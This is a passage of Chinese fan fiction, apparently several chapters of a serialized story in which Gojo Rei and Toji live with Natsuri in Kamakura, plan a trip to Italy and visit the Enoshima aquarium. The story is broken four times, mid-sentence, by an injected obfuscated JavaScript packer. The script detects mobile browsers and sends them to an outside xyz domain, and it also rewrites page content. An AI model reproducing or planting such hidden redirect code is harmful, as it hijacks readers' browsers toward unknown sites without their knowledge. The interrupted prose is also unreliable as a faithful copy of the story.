“您……您在做什么呢,夏梨姐?” “突然想起以前听过的一种说法,说是生过孩子之后,肚子上会留下妊娠纹。我没见过,想看看嘛。”夏梨俯身,往衣摆的空隙间张望,“哎呀,小怜你的肚子上倒是没有半点痕迹呢!” 说着,她玩笑般伸手摸了摸五条怜平坦光滑的小腹。 明明是温暖而柔软的手指,落在皮肤上,却带来了一种触电般的刺麻感。大概是心虚感作祟,五条怜缩起了身子,嘴角的弧度变得更僵硬了,脸颊都快随之抽搐起来。 “因、因为我年纪还小嘛!哈哈哈——” 她试图以此作为借口。 “这样呀?说的也是。”夏梨松开手,撩起的卫衣啪一下落回去,扬起微弱的风,“果然还是早点生孩子比较好。” “是呀是呀……” 五条怜敷衍地赞同着。 忙不迭把上衣整理好,肯定是有一团海风被包进了卫衣里,吹得她的肚子冷冰冰的,好别扭的感觉。 在阳台的软椅上睡觉实在是不像样子,她赶紧同夏梨告辞,顺路把依旧睡得正香的禅院惠安放好,便速速溜回她的楼梯间了。 躺在正经的床上,睡意消散得飞快,大脑变得分外清晰,于是连钝钝的疼痛也变得更尖锐了——当然是她的耳洞在作痛。五条怜坐起来,摸出置物架里的镜子,小心翼翼地避开镜面反射中倒映出的自己,只看着被银色耳钉穿透的耳朵。 白天打耳洞的记忆还清晰着。咔哒一下,这枚耳钉就穿进耳垂了,最骇人的疼痛也是在那时候降临的。 而后,便是火辣辣的钝痛感,持续到了现在都没有消失。耳垂也肿起来了,泛着一层不自然的粉色,包裹着努力工作中的一大堆白细胞,她没那么怕疼,但也不想随便去碰。 看这状态,一时半会儿是没办法消肿了,痛感也鲜明地存在着。她索性不再看了,收起镜子,重新躺回床上,柔软的席梦思被压出了好一番震荡,连带着摆在床尾的吉他包也晃悠了一下,歪歪扭扭望旁边倒去。 依旧要感谢楼梯间狭小的安全感,吉他包咚一下撞在了墙壁上,以一种相当歪斜却又相当稳定的状态定在了床尾。既然如此,五条怜干脆也不摆正了,任由它这么歪着,反正最近也用不上,她也还没冒出学习吉他的念头。 继续仰面躺着吧,睡意并未泛滥。五条怜扯过毛毯,盖在肚子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686575|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可总还是觉得有什么地方冷飕飕的,说不定正是因为这股没由来的寒意,所以她才睡不着吧。 似乎乱七八糟地想了很多,回过神来才发现自己的大脑其实空空如也。她闭起双眼,努力放空思绪,可不知为何,门缝间却传来了细细簌簌的声音。 是很微弱的动静,像是有小虫子爬过,也类似于老鼠啃咬木头。但位于镰仓海边的豪华别墅怎么可能会有老鼠存在呢? 五条怜匆忙从床上弹起来,伸手去开灯。细细簌簌的声音也随之顿了顿,低头一看,门缝间赫然被塞进了几张钞票。 噪音的源头,就是这几张印着夏目漱石的大脑袋的纸币没错了。 五条怜稍稍迟疑了一下。虽然多少能猜到这是怎么一回事,但还是打开了门,与弯腰塞钱的甚尔撞了个正着——就连敞开的门也差点撞上甚尔。 对视,尴尬且沉默的对视。 明明是在偷偷给钱,可甚尔的动作怎么看都像是正在偷钱的小贼,整个人鬼鬼祟祟的。与五条怜对上视线的瞬间,他还很不自然地移开了目光,显得偷感更重了,害得她也不知道该说点什么才好了。 “呃……”沉默总叫人不自在,还是由她来打破吧,“今天的工作顺利吗?” “还行吧。” 既然都面对面了,那也没必要再偷偷摸摸,甚尔把钱丢到她手里。 “所以过来给你零花钱。” “谢谢。” 她不推辞,直接收下了,把钱塞到枕头底下,不忘问问甚尔,之后还有没有别的工作需要她帮忙的。 “之后啊……我想想。”他轻轻敲打着下巴,尽管弓着身子,头顶也几乎要碰到门框上了,“只能说最近没有什么别的事儿了。如果有必要的话,我会提前和你说的。” “好。” “嗯。” 无聊的对话以无聊的方式结束了。甚尔靠在门框上站了一会儿,意识到五条怜没事情要说,且自己也没什么好说的了,这才转身离开。 走开没几步,他又折返回来了,带着一脸戏谑的笑。 “陪着大小姐玩了一天,很折腾吧?” 他简直像是在等待五条怜向他诉苦。 甚尔的这番小人心思,五条怜一点都没有意识到,反倒觉得他的询问好奇怪。 “没有。”她一本正经地摇头,“夏梨姐和我度过了很忙碌也很有趣的一天。” 他笑了一声:“难怪变成了小号的华原夏梨,耳朵也被打穿了。” 他说的显然是自己的崭新卷发。 五条怜有点脸红:“是我自己选的啦!” “行,你不觉得折腾就好了。”他摆摆手,准备走了,“今天没发生什么意料外的事情吧?” “没有。不过夏梨姐她……” 他收回迈出的脚步:“她怎么?” “……没什么。晚安,甚尔。” 夏梨姐好像很想和你结婚——五条怜是想这么说的,但这件事似乎更适合作为秘密。 所以,还是不说了吧。 36.旅行计划 一觉睡醒,走出房间的时候,恰好看到夏梨和甚尔在说话,好像是在讨论什么很重要的事情。观海的最佳宝座也被霸占了去,一贯的娱乐活动暂且无法落实,五条怜陷入了巨大的空虚之中,呆愣愣地在门口站了一会儿,一时不知道该干点什么才好了。 大人之间的对话,作为小孩的自己一向是挤不进去的。五条怜对此心知肚明,选择窝在客厅的角落里,乖乖地闭上耳朵,把自己和他们的对话隔绝开来。 她的内心嘛,确实是隔绝了,可说话声的穿透力未免还是太强劲了一些。尽管已经下定决心不要偷听,话语还是自顾自地钻进了耳朵里头。 “佛罗伦萨怎么样?”现在是夏梨在说话,“夏天的意大利最棒了!说起来,我也有好久没去过意大利了。” 哦哦……原来是在聊旅游相关的话题呀。 她心里有数了。 借着余光,能看到甚尔点着脑袋,很配合地搭腔:“欧洲吗?确实,还挺不错的。是个挺好的目的地。” “正好顺道还能去周边的国家看看,是不是很好?对了,小怜有什么想去的地方吗?” 话题居然猝不及防地落在了自己的身上,真叫人意外。 五条怜慢吞吞转过身,发出迟钝的一声“嗯?”,装出恰到好处的迷茫,谁也没发现她刚刚正在偷听呢。 夏梨向她招招手,让她在身旁坐下,一如既往亲昵地搂住她的肩膀:“甚尔和你说了吗?他买的一支股票小赚了笔——这么看来说不定你哥哥是个理财的高手呢。我们正在商量着拿这笔钱去什么地方好好玩上一阵,所以顺便问问小怜你有没有什么地方想去的。” 股票小赚……真没想到他是这么解释自己的工作收入的,也真难把红绿色变化不停的数字与禅院甚尔联系在一起呢。 五条怜依然保持着迷茫且笨拙的笑容,装出一副正在思索的模样(因为她别的什么也想不到),沉吟了好一会儿,这才摇摇头。 “我觉得去哪儿都挺好的。”她给出了最为模棱两可的答案,“镰仓就很好。” “还是要趁年轻的时候多出去看看才行。”夏梨轻抚着她的脑袋,挑起一缕卷曲的碎发捋到耳后,“这样才能长见识嘛。” 这话说得很有道理,可惜五条怜不知道该怎么回答才合适,只好应付了一句“是呀”,总觉得被夏梨拂过的耳朵也有些热乎乎的了。 所以讨论来讨论去,被放进备选名单之中的地点,果然只有夏梨最想要造访的意大利。她似乎也很满意这个决定,忍不住总说起年少时游览欧洲的趣事,遥远的欧罗巴大陆变得前所未有得近,似乎已经能够嗅到佛罗伦萨的鸢尾花香气了。 “那时候我十六岁,正好和小怜你一样大。多巧!”她合拢手掌,很惊喜似的,“所以小怜你一定要去意大利看看才行呐!小惠的事情就不用担心了,把这孩子留在这里就好。虽然你是个母亲没错,但也不能被孩子绊住脚步啦!” 夏梨摆出一副好认真的模样,俨然像个育儿专家。不知道怎么回答才好,五条怜尴尬地笑笑,这样的反应看起来简直就像是默认。 不过,意大利呀……真遥远呢。 她从没去过什么遥远的地方。 除却东京之外,人生地图中最远的标点,就只有京都罢了,而且只是在小时候的某个夏天造访了五条家位于京都的旧宅。去那里的理由也很简单,纯粹是因为五条悟将在那里度过一整个夏天。那时她依旧是具有价值的存在,也依旧是五条悟的……所以她必须同去。 从书上曾看到过比京都或是意大利更遥远的地方,如果能用自己的双眼亲自见证的话,一定很不错。 五条怜兀自思索着,忍不住翘起嘴角。而行动派的夏梨已经在商量起具体的行程安排了,絮絮叨叨说着的却依旧是上一次去意大利的事情。五条怜认真听着,听到中途意识到不对劲了。 “啊。”她抹去额角的冷汗,“我、我还是不和你们一起去了吧。” 拒绝来得出乎意料,夏梨耷拉着面孔,有点不高兴:“怎么突然说扫兴的话呀?” “是啊是啊。”甚尔居然也在一旁搭腔。 “呃……你忘记了吗?”五条怜朝他挤眉弄眼,“我还没有办理护照哟。” 她特地在“护照”两个字上咬了重音,而甚尔耗费了整整五秒钟才意识到她这是在暗示什么。 是了,要是被发现护照上的名字不是“禅院怜”而是“五条怜”,可就有得好麻烦了——谎言会像多米诺骨牌似的一连串坍塌,估计连弥补的余地都不存在了吧。 一转话锋,甚尔赶紧点点头:“啊对对对,你要是办护照的话会很麻烦的,确实还是不去更好。” “诶,麻烦吗?我也不太懂这种事啦。但小怜一个人留在家里,不是很可怜吗?” “没事的没事的真的没事!”五条怜疯狂摇头,把对意大利的那点期待全都甩出去了,“呆在家里也挺好的,正好我很喜欢镰仓呀!” 这话倒不是什么谎言,她确实喜欢镰仓的大海。相较之下,遥远的佛罗伦萨反倒更加像是一抹不切实际的幻影了。 “小怜,真的不要紧吗?” 五条怜点点头:“嗯。” 夏梨很像是松了口气,一下子搂住她:“哎呀,你最好啦!” 说不定在夏梨看来,没有五条怜陪同的佛罗伦萨才是她最想要的旅行,不过五条怜本人当人不会意识到这么深奥的事情,只听到她在念叨着说,就算不去意大利,也无论如何都要带自己去别的什么玩一玩。 “水族馆吧,怎么样?”夏梨合拢手掌,很兴奋地说,“我们去江之岛水族馆!” 水族馆,这也是五条怜从来没造访过的地方——就连坐落在别墅不远处的江之岛,她都还没有正经登上过一回呢。 “我高中的时候,无聊了就会往水族馆跑,去看海洋动物表演。”夏梨兴冲冲地回忆着,“那里的海豚很聪明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699665|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,会做出各种各样的动作,还懂得怎么钻圈子,特别好玩!不知道现在还能不能看到……啊,有电话。” 话才说到一半,被忽然响起的电话铃打断了。夏梨小跑着去接电话。五条怜放空大脑,开始幻想海豚的事情。 懂得钻过圆圈的海豚……她的认知太贫瘠了点,真想象不出那会是什么样的。 回过神来,才发现甚尔正盯着自己,目光带着一点微妙感。 “怎么了,甚尔先……甚尔?”一贯尊敬的口癖差点又要冒出来了,幸好她改口得够快。 他收回目光:“没事。” 尽管嘴上说得风轻云淡的,片刻后,他又忍不住开始嘀咕起来了。 “你啊……既然是由我买单的话,倒是选一个更远、更有意思的地方去玩嘛。”他说,“居然还选择呆在镰仓。” 哎呀,这是在不服气吗?但这又有什么好不服气的? 五条怜搞不懂他在想什么,也完全没办法给出对症下药的完美答复,只好笑了笑。 “水族馆也很有意思的,我很期待。”她顿了顿,“甚尔去过水族馆吗?” “没有。” “那正好可以一起去看看嘛。” 甚尔从鼻子里轻哼一声,不吱声了,听不出到底是赞同还是否认,也可能是想要隐藏自己的心里那点莫须有的小小期待。短暂的沉默稍稍弥漫了一小会儿,夏梨回来了,迈着轻快得几乎像是蹦跶的步伐,一下子坐进甚尔的怀里。 爸爸说他要来拜访我们哟。她是这么说的。 大概不是错觉,五条怜看到甚尔的表情稍稍僵硬了一下,不情愿的情绪马上就要从他的小白脸假面的空隙间漏出来了。还好他很快就恢复了正常状态,这点小小纰漏完全没有被兴头上的夏梨察觉到。 “是吗?终于能见到你的父亲了。”甚尔笑眯眯,“太好了。” 他紧绷的坐姿可看不出有哪里是好的,不过夏梨依然没有发现。 “爸爸说不定会很喜欢你哦——他喜欢有责任心的男孩子嘛。” 有责任心……这个词应该不合适放在禅院甚尔的身上吧? 偷偷旁听着的五条怜暗戳戳想。 于是水族馆的话题暂且被搁置到了一边,夏梨的注意力全都放在即将造访的华原先生的身上了,绕着客厅看了一圈又一圈,总觉得家里还是有些乱糟糟的,又缺了点精致,就连亲自挂起的网球拍耶显得很突兀。 “我可不想让爸爸觉得我离开家住了,反而过得不如之前好。”她对五条怜说,“而且这也是他第一次见甚尔,要留下个好印象才行……哎呀。” 说着说着,夏梨忽然停下了,侧首看向五条怜,目光在某个短暂的瞬间很像是审视。五条怜猜想她一定是要说什么很重要的事情,或是很严肃的事。 “呐,小怜。” 夏梨开口了。 “我爸爸来家里的那天,你可以带着小惠离开一下吗?” 37.无趣时光 夏梨的话语盘旋在脑海里,就像是在山顶上乘着气流不停打转的飞鹰,转悠了一圈又一圈,过了好半晌,都没办法停下来。 该怎么说呢……五条怜好像有点意外,但也没有那么意外。她似乎早早地就冒出了一种微妙的预感,所以就连难过或是惊愕感,也显得很微不足道了。 她想眨眨眼,可眼皮很沉重,于是只好突兀地睁着眼眸,像只被吓呆的兔子。 “啊,不是在针对你的意思。”夏梨讪笑着,解释的话语听起来倒像是辩解了,“也绝对没有在嫌弃你。” 五条怜抿着唇,很努力地点了点头:“嗯,我知道的。” “我只是在想,要是爸爸看到了你,会觉得奇怪的。”她继续说,“他的性格比较老派,虽然能接受我和男朋友搬出家住,但这也只是因为我是她心爱的女儿。对于其他人,他的要求总是很严格。要是被爸爸知道甚尔收留了早早生子的妹妹,可能会让他觉得甚尔的家教……我是说,他会觉得甚尔是个优柔寡断的人。” 收留了妹妹和优柔寡断有关系吗?这是个值得思索的问题。 五条怜认真地听着,只是不知道为什么,听着听着,话语就从耳朵旁边溜走了。她赶紧点点头,表示自己理解了。 “我绝对不是要把你和小惠赶出家里的意思。”夏梨还在解释,“我的想法是这样的,在爸爸来家里的那天,你可以带着小惠一起出去玩。去哪儿都行,玩个尽兴吧!” 说着,她从口袋里掏出钱包,几张万元钞票叠在一起递到了面前,散发出一股纸币特有的铜臭味。 “呐,给你钱。” 罔顾五条怜的拒绝,夏梨直接把纸币塞进了她的口袋里,如此一来才总算是安心了。五条怜依然有些无措,只能任由铜臭味转移到自己的身上。 姑且算是说定了(其实也没有什么什么拒绝的余地),在华原先生大驾光临的那天清晨,五条怜早早地披上外套戴好帽子,推着小海胆出门了。 今天是个暗淡的阴天,海面上冲浪客寥寥,游客也见不到多少。其实根本没必要戴上碍事的鸭舌帽,她也搞不懂自己出门的时候是怎么想的。 难道是想要不被别人发现自己的身份吗?可是这里又没有人认识她,就算不戴帽子,也不会有人叫出她的名字吧。 如此想着,这顶帽子就显得分外愚蠢且幼稚了。她默默摘下帽子,塞进帆布包里,向前走了两步,俯身去看躺在车里的小海胆。 对世事一概不知的禅院惠可不知道今天为什么早早地就开始遛弯了,对于阴沉的天也毫无怨言,睁大着一双黑溜溜的圆眼睛到处看,一见到五条怜探头过来,便咯咯地笑出声来。 “果然还是你最轻松啦。”她戳戳小海胆的脑袋,指腹被戳得凹陷了一个小洞,“我又要开始羡慕你了。” 依旧是老生常谈,羡慕一个小孩子怎么能行呢?五条怜收起这点无聊的小情绪,迈步继续向前。 一整天都要在家以外的地方耗去时间,该做点什么,她毫无头绪。 如果只有自己一个人的话,那倒是好办,大不了一整天都泡在影院里,把无聊的或是有趣的电影统统吞吃入腹。或者鼓起勇气走进她从没胆子步入的街机厅里,在8bit的音乐里消磨时间。 打发时间的办法有很多,但是和小海胆在一起,可供选择的方案便惨兮兮地归零了。 坐在海边的长椅上,她都不知道该去什么地方才好。 说不定水族馆可以允许婴儿车进入,但夏梨说她会带着自己到水族馆玩,要是先一步去了,总有种违背了对方心愿的感觉,五条怜觉得不好意思。 要不,登上江之岛的观景塔?唔,如果没有电梯怎么办?她可没自信抱着小海胆登上那么高的地方。 小海胆的成长速度远远唱过五条怜在力量方面的增长。她真不想承认自己毫无长进,但事实就是,圣诞节那天抱不动的禅院惠,直到春天的现在也还是抱得好吃力。 一想到小海胆极有可能伴着重力顺着自己的躯干直勾勾滑下去,最后挂在她大腿上的那副狼狈模样,五条怜就一点都不想登上观景塔了。 既然如此,这一天就只能以最无趣的方式度过了。 午餐和晚餐都在连锁快餐店度过,吃得也是一模一样的汉堡肉套餐。为了消磨时间,她故意吃得很慢,还添了两次茶水,磨磨蹭蹭的模样真叫人担心她是不是打算赖在店里不走了。 除此之外的时间,则大多数都泡在了商场里——而且还是有母婴室的那家商场。从一楼逛到五楼,再从五楼回到一楼,每间店铺的每款商品都被她用目光打量了个遍,但依然没找到什么有趣的或是值得买下的小东西。摆在索尼店铺门口的新款电视机看起来倒是很有意思,不过这可不能纳入“有趣的小东西”的范畴之中,就算再怎么心动或是喜欢,也没办法随意购入。 然后,又回到了海边的长椅上。 到了傍晚时分,天倒是放晴了,夕阳把海面染成很鲜明的橙红色。冲浪客一个也看不到,连绵的沙滩也空空如也。五条怜坐着,内心空空荡荡。 是觉得有点失落吗,还是很孤单?她说不好。 她当然也不会去想家里现在是什么样的——五条家或是华原家,她全都不会去想。 她只是在思考着,什么时候能够回去。 夏梨说,她父亲是偏好夜里工作的性格,尽管答应了会一起吃晚饭,但绝对会早早离席回去,差不多天黑时回家就可以了。 此刻夕阳仍压在海平面上,天空也是明亮色泽。没有手表,也不知道现在几点了,五条怜不停地四下张望着,看看天际也看看大海,空落落的感觉还是存在着,明明她的汉堡肉套餐选择了大份米饭呢。 睡了好一会儿的小海胆悠悠醒来,开始说起叽里咕噜的婴儿语,这回她感觉自己能够听懂他想说的了。 “你想回家了,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711816|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?”她轻轻推拉着婴儿车,挂在上头的海鸥小吊坠也随之晃荡不停,“再等等吧。我们马上就回去了,好吗?很快的。” 小海胆以咿呀咿呀作为回应,不知道这算不算是不满。 继续等待吧,夕阳总会沉在海平面下,天幕也会变换为深紫的颜色,只留下一抹明亮的光踟蹰在西侧,久久不愿淡去。街灯亮起,现在一定已经天黑了。五条怜飞快地站起来。 “好了,我们可以回家啦!” 沿着海边小径,一路走回家,天边的最后一点光芒被彻底踩入沙砾的空隙之间。熟悉的屋顶与落地窗就在尽头,她加快脚步,却又忽地顿住了。 远远地朝家的方向望过去,最先看到的是陌生的车灯,隶属于陌生的黑色轿车。而后,才看到站在门口的夏梨和甚尔,五条怜往边上躲了躲。她可不想被发现自己回来得太早。 其实她到得也没有那么早,不过恰好赶上了夏梨父亲准备离开的时刻罢了。 他背对着五条怜,个子不太高,从这个角度望过去看不清他的脸,所以也猜不出夏梨会不会长得和父亲很像,只能看到她搂着父亲的肩膀,脑袋靠在他的颈窝间,是五条怜一点也想象不到的亲昵举措。 而甚尔嘛,他看起来前所未有的有礼貌,双手背在身后,穿着的依旧是同学会那天和他很不搭的西装,适度低垂的脑袋甚至可以称得上有点乖巧。 隔得太远了,听不到他们说了些什么,能看到夏梨笑得很开心。 家门口的道别稍稍持续了一小会,最后由夏梨送着父亲上了车。红色的车灯闪烁了一下,缓缓驶过来。 五条怜迟钝地愣了愣,才意识到车正朝着自己所在的方向而来,匆忙缩起身子望边上靠,躲开沿着地面扫过来的明亮车灯。尾气却怎么也躲不开,在空气中喷出了一道刺鼻的轨迹,刺得鼻腔都在隐隐作痛。 车已经开出去了好远,她仍停在原地。风是不是已经把难闻的气味吹走了?嗅觉好像已经麻木,她有点闻不出来了。又停留了几秒钟,她迈步向前。夜里有些冷了,她止不住地发抖,几乎是颤栗着回了家。 家里有股陌生的味道,应该是换了新的熏香。前几天夏梨把家里又好好地捯饬了一下,但看起来和之前并无太多区别。餐桌已经被收拾干净了,夏梨和甚尔站在桌边,不知在说什么,或许是在说着今天父亲造访的事情吧,五条怜听不清,也没有认真在听。 她脱下外套,安置好小海胆,一抬头,才发现甚尔一副神游天外的模样——他根本没有在认真听夏梨说她爸爸的事。 短暂地对上了视线,甚尔抬手指了指脑袋,冲她做了个鬼脸,像是在说自己有多么不耐烦。五条怜不知道怎么回应才好,苦笑了一下,走到窗边,拉开窗帘望楼下张望。 天彻底黑了,夜晚的海寂静得像是空洞。 或许是错觉,她总觉得那团裹挟着汽油的尾气还停留在柏油路面上,久久不会散去。 38.江之岛水族馆 当看到家里出现了一册《意大利游览指南》时,五条怜猜想,一直都没有再提起过的水族馆之旅大概要等到夏梨和甚尔从意大利回来才能成型了。 几天后硕大的几个行李箱也被搬出来了,五条怜逐渐怀疑,除了自己以外,谁也不会在意水族馆的事情了。 沮丧吗?说不好,可能有一点,但也没有那么强烈,毕竟水族馆又不是遥远的意大利——她与水族馆之间的直线距离才几公里而已,完全是只要她想就可以去的地方。但要是当真去了,才会酿成新的问题。 五条怜担心的是,在自己独自一人去过之后,夏梨才想起了水族馆的事情,这该怎么办。到时候究竟是要装作其实自己根本没去过,高高兴兴地和夏梨一起迈过江之岛水族馆的大门?还是干脆和她坦白,狠狠地把她的兴致全都扫光呢?想不好。 总觉得哪种选择都挺糟糕的。 当然,也可以现在就直白地把自己的需求说出来,但对于五条怜这种纠纠结结的家伙来说,坦白直言绝对是最烂的做法,没有之一。 磨磨蹭蹭,春天都快走到尽头了,佛罗伦萨的夏天变得前所未有的近,虽说意大利之旅和五条怜半点关系都没有。 等到慢吞吞但很精细的夏梨小姐收拾完了整整两大个行李箱,便听到她说,在出发去意大利之前,她还要先回家住几天。 “我说的回家是指回父母家啦。”像是担心自己的话落在甚尔和五条怜耳中会产生什么歧义,她很认真地多加上了这么一句解释,“毕竟要在意大利待上一整个月嘛,妈妈说她会想我的。但我总觉得是爸爸会想念我,所以才托了妈妈让我回家去住。哎,爸爸就是这么个性格嘛。” 她笑着摆摆手,抱怨的语气像是在诉苦,可嘴角扬起的笑意,无论怎么看都透着一点得意感,很鲜明地扎进了五条怜的心里。 觉得难过了?啊啊,这倒是没有。她只是觉得有点不自在。 纯粹只是为了舒缓这点变扭的感觉,而不是好奇甚尔在听到这番明显炫耀的发言后会给出怎样的反应,五条怜瞄了瞄他的表情。 此刻,甚尔的表情是没有表情——完全在意料之中。她也只好收回目光,不再看了。 夏梨当然没有发现他们之间的小小互动(如果这真的能够被称之为是互动的话),自顾自说下去了。 “我不在家里,你们兄妹俩也要好好照顾自己哟。尤其是甚尔,可不能欺负小怜呀。”她以一家之主的身份,分外认真地叮嘱着他们,“有保姆在,其实也没什么好担心的。你们要是想去什么地方玩的话,就去玩好了,不用……哎呀。” 似乎是想起了什么,夏梨眨眨眼,向五条怜投去目光,稍稍有点尴尬。 “我们之前是不是商量着要去江之岛水族馆玩来着?” 不用再担心或是纠纠结结,更加不必厚着脸皮主动提出,夏梨本人已经拾回这段被忘却的记忆了,可五条怜怎么觉得更加紧张了? 忙不迭坐正身子,五条怜有点不确定现在应该摆出怎样的表情——是不是应该笑一下,表现得很高兴或者很期待?还是说,应当佯装不高兴,以表现出自己其实对于被忽略这件事有点不满,顺势对着夏梨撒撒娇? 前者还能后期脸皮装一装,后者的话实在有点…… “真对不起呀,小怜,我居然完全把这件事忘记了!”还没决定好下一步的行动方针,夏梨倒是先一步道歉了,“原谅我吧!” 这算得上是意料之外的情况了,五条怜有点措手不及。 “没……没事没事!”她僵硬地摆摆手,“我其实没……呃,我是说,我没关系的。” 夏梨一脸认真:“再磨蹭下去可不行,我们必须明天就去水族馆!” 毫不意外,在隔日的清晨,他们就站在了江之岛水族馆的大门前。这回总算是言出必行了。 迈过大门,五条怜用力嗅了嗅馆内的空气。毫不意外,这里的空气和别处没有任何区别。她的期待落空了——来之前她天真地以为水族馆里一定会有着独一无二的气味。 在门旁立了一块告示板,写着水族馆接下来的开放计划。 由于场馆正在进行装修改造,第四展览厅已经关闭。直到本月月底,其他公众展览区域和露天演出场都将正常开放。 “我们来得正是时候呢!”夏梨指着告示牌,带着一点窃喜,“要是再晚一点过来,可就不知道什么时候才能重新开馆了。” 这确实算得上是相当幸运了,五条怜也忍不住想要感叹他们的好运气。 既然如此,那就不要再耽搁,快快进去吧。 工作日的上午,水族馆空空荡荡,寂静得像是什么私人场所。 推着婴儿车,稍显费劲地通过了窄小的检票口,地面铺的地毯让车轮的阻力变得很大,简单的动作都变得无比费劲了。 难道这里压根不欢迎年纪过小的小访客来参观吗?她不太高兴地想。 大概不只是水族馆不欢迎小婴儿,禅院惠自己好像也对这个蓝色的静谧空间不太感兴趣,躺在车里呼呼大睡,把五条怜疲惫的呼吸声当作是助眠音乐,只在梦境畅游。 其实呀,只要他睁开眼睛,就能看到巨大的落地鱼缸了。 繁杂的水草缠绕在水底,礁石之间钻出了丑陋的鳗鱼,色彩鲜艳的热带鱼缓慢地游在水中,时而聚成一团,时而又散开去了,当真像是一处小小的微缩海域。五条怜忍不住驻足于此,就连浮在水中的浅色灯光都让她觉得那么有趣。 “这个鱼缸里的鱼十几年来居然一点都没变化呢。”夏梨抱着手臂,向鱼缸侧了侧身,只看了几眼就收回了目光,“为什么不购入新品种的鱼呢?老是展示这些热带鱼和鳗鱼,多俗气呀。” 浮在水里的光好像闪烁了一下,鲜艳的热带鱼倏地失去了夺目的色彩,冷冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726247|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光照得五条怜的脸也有些僵硬了。她不自在地收回目光,继续向前走。 前方的展厅是更具地域风情的当地海域生物,听起来很有意思,但展示的尽是些灰扑扑的鱼类,算不上太过有趣,跟在夏梨身后,无趣的内容转眼即逝,迎面而来的又是一面巨大的落地鱼缸,如同浅蓝色的画布,只能看到伴着水流搅动着的灯光,却看不到任何鱼类。一旁的展牌也被撤走了。 难道这是空的鱼缸吗?五条怜有预感,夏梨姐马上就要发表她的吐槽了。 “以前这里好像养着海豚。”她把脸贴近鱼缸,吐息在玻璃上打下了一层浅白的雾气,数秒后便消失无踪,“今天不在吗?可能去表演场了吧。” 原来是海豚呀。 “夏梨姐喜欢海豚吗?” 说起海豚的时候,都不像是刚才对贫瘠的热带鱼吐槽了。 夏梨歪着脑袋,想了想才说:“算是喜欢吧……说起来,大型的动物我都挺中意的,比如像是鲨鱼啦鲸鱼啦狮子老虎之类的。啊,人类我也很喜欢哦。” 后半句话显然是一句有趣的玩笑。甚尔抓准时机,在话音落下的同时就送上了很配合的大笑,可惜五条怜慢了半拍,愣了愣才扬起嘴角,挤出了一个不太像样的笑容。 “既然海豚今天没有被展出,那就继续往前看吧。”夏梨向她招招手,“走了走了。” “好。” 把脚踩在婴儿车的小轮胎上,用力往前蹬一下。 当五条怜终于费劲地推动着小车前进时,夏梨和甚尔已经往前走了。投落在地上的水的光影摇晃了一下。抬起眼眸,在浅蓝色如画布般的水泽中,一团暗淡的影子缓缓游来。 影子渐近,凝成短短的吻。灰黑色的海豚向着五条怜缓慢游来,撒下一串珍珠般的气泡。 原来这里有海豚呀。 正这么想着,它加快了速度,尾鳍搅动人造的海水,撞向玻璃,本该骇人的咚一声被水流分散,变成了更平稳的、无法形容的声响,吓不到任何人。所以她也只是呆呆地站在玻璃前,看着海豚向水深处游去,变回一团深色影子。 不必太遗憾。数秒后,影子又回来了,再度撞向玻璃,如同昨日再现的循环。海豚微微张着嘴,像是在呼喊,或是吃痛的叫声。 在不久前看过的海洋纪录片中,展示了海豚的叫声,是很奇妙的声音,像是细弱的气泡声。如果是高兴的时候,海豚会发出咔哒咔哒的声响,仿佛什么东西敲击在一起。 栖息在狭小的水缸里,海豚还会再发出咔哒咔哒的声响吗?或者它的尖叫该是怎样的?很可惜,隔着厚厚的一层玻璃,她什么声音也听不到。 海豚第五次撞击玻璃时,甚尔过来了。 “哦,有海豚啊。” 话虽如此,海豚好像没有打动他太多,他轻声催着五条怜。 “怎么还不走?怎么,你也喜欢海豚吗?” 39.海豚 当甚尔说出“你也喜欢海豚吗”的时候,话语中的“也”绝对不是他自己——五条怜可想象不出这样一个黑漆漆的男人会对同样黑漆漆但很乖巧聪明的哺乳动物产生喜欢的情绪。 也就是说,他的意思是,你怎么和夏梨一样喜欢海豚,并且五条怜顺便为这句话添上了一点嫌弃的意味,尽管甚尔的本意并非如此。 